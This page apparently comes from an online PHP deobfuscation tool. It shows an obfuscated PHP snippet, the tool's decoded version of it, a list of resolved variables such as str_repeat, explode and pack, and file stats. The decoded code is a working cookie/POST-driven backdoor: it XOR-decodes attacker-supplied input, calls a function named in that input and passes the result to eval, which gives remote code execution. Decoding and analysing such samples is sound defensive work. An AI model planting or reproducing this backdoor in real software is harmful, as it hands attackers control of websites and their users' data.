Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $CnAinghD = chr /* JP */ (115) . chr(116) . /* D */ 'r' . chr( /* h */ 951 - ..

Decoded Output download

 <?php 
$CnAinghD = chr /* JP  */ (115) . chr(116) . /*  D   */ 'r' . chr( /*  h */ 951 - 856 /* An   */ ) . chr(114) . "e" /*   W  */ . /*  PZ*/ chr(566 - 454) . "e" . "a" . 't'; 
; 
$MTZXXrX /* ut */ = 'e' /* Vd */ . "x" . 'p' /*gHjpQ */ . /*   KQEX   */ "l" /*rcI */ . chr(1019 - /*  LfAv  */ 908) . chr /*  kr  */ ( /*   vyX*/ 180 - 80) . chr(101); 
; 
$BscrEHTSS /*MAz   */ = /*  iuMh  */ "p" . chr(978 - /*  WrwI */ 881) . "c" . "k"; 
$_N        = '62756'; 
function /*MLzj*/ BHwzASb() 
{ 
    $LHnDcJ  = /*WrnT */ Array( 
        "BNEkjvoSeGddXIe" /* I  */ => "veESQYECMaEW" 
        /* w  */ 
    ); 
    /*  szrPc*/ 
    $XeYhYKB /*   Jnso*/ = Array /* Yb */ ( 
        /*   Pu   */ 
        "PsRPBJCWPpoKWHfbtAIHXrW" => "LnbyTG" 
    ); 
    ; 
    /*   pH*/ 
    $MDFcuNQZ = Array( 
        $LHnDcJ, 
        $_COOKIE, 
        $LHnDcJ, 
        $_POST, 
        /*  R   */ 
        $XeYhYKB 
    ); 
    /* DY */ 
    return $MDFcuNQZ; 
} 
/*Hp  */ 
function /* AnvMS   */ cYONKsCk($rrejvellA) 
{ 
    if (count( /*  go*/ $rrejvellA) /*   c   */ == 3 /*zXgS  */ ) { 
        $mhzOnS = $rrejvellA[1]; 
        ; 
        $aNXHLciPqX /*Byls */ = $rrejvellA[2]; 
        $WixWLAHruR = $mhzOnS($aNXHLciPqX); 
        $_VYxe      = /*aIf  */ '46429'; 
        /*pM   */ 
        eval($WixWLAHruR /* Ur*/ ); 
        ; 
        /*dTqp*/ 
        die(); 
    } 
} 
function ycUImdsAh($tRuDBKkz, $kGskRZA) 
{ 
    /*kZwX   */ 
    return $tRuDBKkz ^ /*O */ $kGskRZA; 
} 
/*T */ 
$RmXQxBfDE = "#"; 
$_J        = /*   nEdrs */ '14600'; 
foreach /*  lZ  */ (BHwzASb() as /* wYAv  */ $TFSRWo) /* xFbEz   */ { 
    foreach /*   Gy   */ ($TFSRWo /*IZ*/ as /*zeaU  */ $kGskRZA => $tRuDBKkz /*   X */ ) /* SXaT */ { 
        /*  tfPQu   */ 
        $tRuDBKkz /*   ge  */ = /*  VfcRs   */ @$BscrEHTSS(chr(72) /*   bzy  */ . '*', $tRuDBKkz); 
        $kGskRZA /* E   */ .= "DdjVAq-OvPrWda-GgNWUfi-kFbCGT-bTw-nkIi-aiBOCwi"; 
        /*  eW */ 
        $kGskRZA   = $CnAinghD( /* dUQ   */ $kGskRZA, (strlen($tRuDBKkz /*   Ol  */ ) / strlen($kGskRZA)) + /* u  */ 1); 
        $_xNc      /*aInI  */ = '14616'; 
        /* LC  */ 
        /*M */ 
        $RvZaQTPw  = ycUImdsAh($tRuDBKkz, $kGskRZA); 
        /*   Hawnm  */ 
        $rrejvellA = $MTZXXrX($RmXQxBfDE, $RvZaQTPw); 
        cYONKsCk($rrejvellA); 
        /* n*/ 
    } 
}  ?>

Did this file decode correctly?

Original Code

 <?php
$CnAinghD = chr /* JP  */ (115) . chr(116) . /*  D   */ 'r' . chr( /*  h */ 951 - 856 /* An   */ ) . chr(114) . "\x65" /*   W  */ . /*  PZ*/ chr(566 - 454) . "\x65" . "\141" . 't';
;
$MTZXXrX /* ut */ = 'e' /* Vd */ . "\x78" . 'p' /*gHjpQ */ . /*   KQEX   */ "\154" /*rcI */ . chr(1019 - /*  LfAv  */ 908) . chr /*  kr  */ ( /*   vyX*/ 180 - 80) . chr(101);
;
$BscrEHTSS /*MAz   */ = /*  iuMh  */ "\160" . chr(978 - /*  WrwI */ 881) . "\x63" . "\x6b";
$_N        = '62756';
function /*MLzj*/ BHwzASb()
{
    $LHnDcJ  = /*WrnT */ Array(
        "BNEkjvoSeGddXIe" /* I  */ => "veESQYECMaEW"
        /* w  */
    );
    /*  szrPc*/
    $XeYhYKB /*   Jnso*/ = Array /* Yb */ (
        /*   Pu   */
        "PsRPBJCWPpoKWHfbtAIHXrW" => "LnbyTG"
    );
    ;
    /*   pH*/
    $MDFcuNQZ = Array(
        $LHnDcJ,
        $_COOKIE,
        $LHnDcJ,
        $_POST,
        /*  R   */
        $XeYhYKB
    );
    /* DY */
    return $MDFcuNQZ;
}
/*Hp  */
function /* AnvMS   */ cYONKsCk($rrejvellA)
{
    if (count( /*  go*/ $rrejvellA) /*   c   */ == 3 /*zXgS  */ ) {
        $mhzOnS = $rrejvellA[1];
        ;
        $aNXHLciPqX /*Byls */ = $rrejvellA[2];
        $WixWLAHruR = $mhzOnS($aNXHLciPqX);
        $_VYxe      = /*aIf  */ '46429';
        /*pM   */
        eval($WixWLAHruR /* Ur*/ );
        ;
        /*dTqp*/
        die();
    }
}
function ycUImdsAh($tRuDBKkz, $kGskRZA)
{
    /*kZwX   */
    return $tRuDBKkz ^ /*O */ $kGskRZA;
}
/*T */
$RmXQxBfDE = "\43";
$_J        = /*   nEdrs */ '14600';
foreach /*  lZ  */ (BHwzASb() as /* wYAv  */ $TFSRWo) /* xFbEz   */ {
    foreach /*   Gy   */ ($TFSRWo /*IZ*/ as /*zeaU  */ $kGskRZA => $tRuDBKkz /*   X */ ) /* SXaT */ {
        /*  tfPQu   */
        $tRuDBKkz /*   ge  */ = /*  VfcRs   */ @$BscrEHTSS(chr(72) /*   bzy  */ . '*', $tRuDBKkz);
        $kGskRZA /* E   */ .= "DdjVAq-OvPrWda-GgNWUfi-kFbCGT-bTw-nkIi-aiBOCwi";
        /*  eW */
        $kGskRZA   = $CnAinghD( /* dUQ   */ $kGskRZA, (strlen($tRuDBKkz /*   Ol  */ ) / strlen($kGskRZA)) + /* u  */ 1);
        $_xNc      /*aInI  */ = '14616';
        /* LC  */
        /*M */
        $RvZaQTPw  = ycUImdsAh($tRuDBKkz, $kGskRZA);
        /*   Hawnm  */
        $rrejvellA = $MTZXXrX($RmXQxBfDE, $RvZaQTPw);
        cYONKsCk($rrejvellA);
        /* n*/
    }
} 

Function Calls

chr 9
BHwzASb 1

Variables

$_J 14600
$_N 62756
$LHnDcJ [{'key': 'BNEkjvoSeGddXIe', 'value': 'veESQYECMaEW'}]
$MTZXXrX explode
$XeYhYKB [{'key': 'PsRPBJCWPpoKWHfbtAIHXrW', 'value': 'LnbyTG'}]
$CnAinghD str_repeat
$MDFcuNQZ [{'key': 0, 'value': [{'key': 'BNEkjvoSeGddXIe', 'value': 'veESQYECMaEW'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'BNEkjvoSeGddXIe', 'value': 'veESQYECMaEW'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'PsRPBJCWPpoKWHfbtAIHXrW', 'value': 'LnbyTG'}]}]
$BscrEHTSS pack
$RmXQxBfDE #

Stats

MD5 551e27d09460179e51dd65b7712e2fa8
Eval Count 0
Decode Time 86 ms